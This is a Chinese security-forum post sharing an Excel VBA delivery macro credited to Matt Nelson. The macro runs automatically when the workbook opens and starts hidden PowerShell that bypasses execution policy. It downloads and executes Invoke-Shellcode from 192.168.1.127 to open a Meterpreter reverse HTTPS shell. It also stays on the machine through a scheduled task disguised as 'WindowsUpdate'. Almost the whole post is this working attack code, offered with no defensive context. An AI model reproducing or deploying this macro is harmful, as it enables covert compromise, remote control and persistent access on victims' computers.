找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2290|回复: 0
打印 上一主题 下一主题

Powershell-Payload-Excel-DeliveryMacroCode

[复制链接]
跳转到指定楼层
楼主
发表于 2017-4-1 10:43:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  1. ' Author: Matt Nelson
  2. ' Twitter: @enigma0x3

  3. Sub Auto_Open()

  4. Execute
  5. Persist

  6. End Sub


  7.      Public Function Execute() As Variant
  8.         Const HIDDEN_WINDOW = 0
  9.         strComputer = "."
  10.         Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  11.          
  12.         Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  13.         Set objConfig = objStartup.SpawnInstance_
  14.         objConfig.ShowWindow = HIDDEN_WINDOW
  15.         Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  16.         objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
  17.      End Function

  18.       
  19.      Public Function Persist() As Variant
  20.         Const HIDDEN_WINDOW = 0
  21.         strComputer = "."
  22.         Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  23.         
  24.         Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  25.         Set objConfig = objStartup.SpawnInstance_
  26.         objConfig.ShowWindow = HIDDEN_WINDOW
  27.         Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  28.         objProcess.Create "Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c Invoke-Command -ScriptBlock { schtasks /create  /TN WindowsUpdate /TR 'powershell.exe -ep Bypass -WindowStyle Hidden -nop -noexit -c ''IEX ((New-Object Net.WebClient).DownloadString(''''http://192.168.1.127/Invoke-Shellcode''''''))''; Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force' /SC onidle /i 20}", Null, objConfig, intProcessID
  29.      End Function
  30.      
复制代码
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表